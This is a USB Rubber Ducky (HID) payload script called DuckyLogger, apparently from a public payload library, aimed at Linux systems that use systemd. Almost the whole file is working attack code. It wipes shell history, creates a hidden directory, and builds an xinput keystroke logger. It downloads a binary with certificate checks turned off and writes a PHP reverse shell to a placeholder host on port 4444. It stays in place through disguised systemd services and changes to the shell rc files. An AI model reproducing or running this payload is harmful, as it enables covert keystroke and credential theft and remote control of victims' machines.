Path: blob/master/payloads/library/credentials/DuckyLogger/payload.txt
2968 views
REM Title: DuckyLogger1REM Description: Key logger which sends each and every key stroke of target remotely/locally.2REM AUTHOR: drapl0n3REM Version: 1.04REM Category: Credentials5REM Target: Unix-like operating systems with systemd6REM Attackmodes: HID78REM [Note]9REM Visit https://github.com/drapl0n/DuckyLogger for usage and other important instructions.1011REM [keeping tracks clear]12DELAY 50013CTRL-ALT t14DELAY 40015STRING export HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE16ENTER17DELAY 1001819REM [creating key logging mechanism]20STRING mkdir /var/tmp/.system21ENTER22DELAY 10023STRING echo "/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys24ENTER25DELAY 10026STRING chmod +x /var/tmp/.system/sys27ENTER28DELAY 1002930REM [importing xinput]31STRING cd /var/tmp/.system/32ENTER33DELAY 10034STRING wget --no-check-certificate --content-disposition https://github.com/drapl0n/DuckyLogger/blob/main/xinput\?raw=true35ENTER36DELAY 250037STRING chmod +x xinput38ENTER39DELAY 1004041REM [creating reverse shell]42STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus43ENTER44DELAY 10045STRING chmod +x /var/tmp/.system/systemBus46ENTER47DELAY 1004849REM [creating systemd service to execute payload on boot]50STRING mkdir -p ~/.config/systemd/user51ENTER52DELAY 20053STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service54ENTER55DELAY 1005657REM [creating reboot script incase if listner stops or targets internet connection gets lost]58STRING echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot59ENTER60DELAY 10061STRING chmod +x /var/tmp/.system/reboot62ENTER63DELAY 1006465REM [creating systemd service to execute payload on boot]66STRING echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service67ENTER68DELAY 1006970REM [enabling service]71STRING systemctl --user daemon-reload72ENTER73DELAY 30074STRING systemctl --user enable --now systemBUS.service75ENTER76DELAY 15077STRING systemctl --user enable --now reboot.service78ENTER79DELAY 1008081REM [autostarting service on terminal/shell launch]82STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp83ENTER84DELAY 10085STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit86ENTER878889